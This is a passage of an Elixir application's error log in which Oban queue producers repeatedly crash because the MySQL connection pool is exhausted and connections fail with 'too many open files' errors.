    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:08:18.238144Z], limit: 5, uuid: "472ed141-8efc-4d4f-a8c1-5eabce78e5c3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:18.238152Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.5945>, refresh_timer: #Reference<0.2525715032.1099431938.5933>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:32.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:08:18.240215Z], limit: 20, uuid: "5277bada-2736-44b9-962d-1c6f9e4dec75", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:18.240220Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.108373>, refresh_timer: #Reference<0.2525715032.1121189889.108366>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:33.199000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:34.173000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:36.196000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:38.487000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:41.965000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1331ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:08:32.241116Z], limit: 3, uuid: "46b3e36e-d5b6-4aa9-92b7-396660af5521", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:32.241122Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.237598>, refresh_timer: #Reference<0.2525715032.1099431938.6141>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1321ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:08:32.253902Z], limit: 5, uuid: "e2737469-0c95-4464-9d60-f8da771d9ce0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:32.253913Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.237596>, refresh_timer: #Reference<0.2525715032.1099431938.6168>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:45.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1358ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:08:32.241454Z], limit: 50, uuid: "39ce48b4-64b8-4cf9-be1b-2cd6c6e636f1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:32.241459Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.237597>, refresh_timer: #Reference<0.2525715032.1099431938.6157>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1108ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:08:32.246666Z], limit: 10, uuid: "6631e547-1e79-40f4-8823-84ced79ecd05", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:32.246673Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.237593>, refresh_timer: #Reference<0.2525715032.1068236804.254490>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:45.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1095ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:08:32.247476Z], limit: 20, uuid: "6ec69fb1-3a09-4368-a9c4-72bd5359f031", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:32.247484Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.237594>, refresh_timer: #Reference<0.2525715032.1121189889.108456>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:45.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1076ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:08:32.241266Z], limit: 5, uuid: "0220bfb5-9de5-4a09-aedd-ec3f1f0d3c53", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:08:32.241270Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.237595>, refresh_timer: #Reference<0.2525715032.1099431938.6147>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:08:45.710000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:46.600000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:53.665000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:54.280000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:55.218000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:56.501000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:57.211000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:08:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
